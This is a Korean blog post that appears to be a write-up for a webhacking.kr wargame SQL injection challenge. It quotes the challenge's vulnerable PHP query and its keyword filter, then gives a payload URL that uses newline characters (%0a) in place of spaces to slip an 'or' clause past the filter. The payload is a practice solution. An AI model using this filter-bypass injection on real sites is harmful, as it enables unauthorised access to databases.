1을 제출하면
hi guest가 출력된다.
문제에서 제시한 index.phps를 보면
$q=@mysql_fetch_array(mysql_query("select id from challenge18_table where id='guest' and no=$_GET[no]"));
이와같은 sql문이 있다.
우리가 해줘야 할 것은
if($q[0]=="guest") echo ("hi guest");
if($q[0]=="admin")
{
@solve();
echo ("hi admin!");
}
즉 id='guest'인 조건은 fail 시키면서
id='admin'인 정보를 찾아야한다.
'guest'의 no는 1이므로
no에 3을 넣어줌으로써 실패시키고
or 로 id='admin'을 해주면 된다.
단
if(eregi(" |/|\(|\)|\t|\||&|union|select|from|0x",$_GET[no])) exit("no hack");
여기서 ' ' 를 필터링해주므로
' '대신 개행(%0a)을 사용하면
쿼리문은
http://webhacking.kr/challenge/web/web-32/index.php?no=3%0aor%0ano=2
'war game > webhacking.kr' 카테고리의 다른 글
webhacking.kr 39 100pt (0) | 2017.01.05 |
---|---|
[webhacking.kr] 24번 REMOTE_ADDR 쿠키변조 (0) | 2016.12.16 |
webhacking.kr 14번 100pt (0) | 2016.12.07 |
webhacking.kr 15번 50pt (0) | 2016.12.07 |
webhacking.kr 1번 (0) | 2016.12.06 |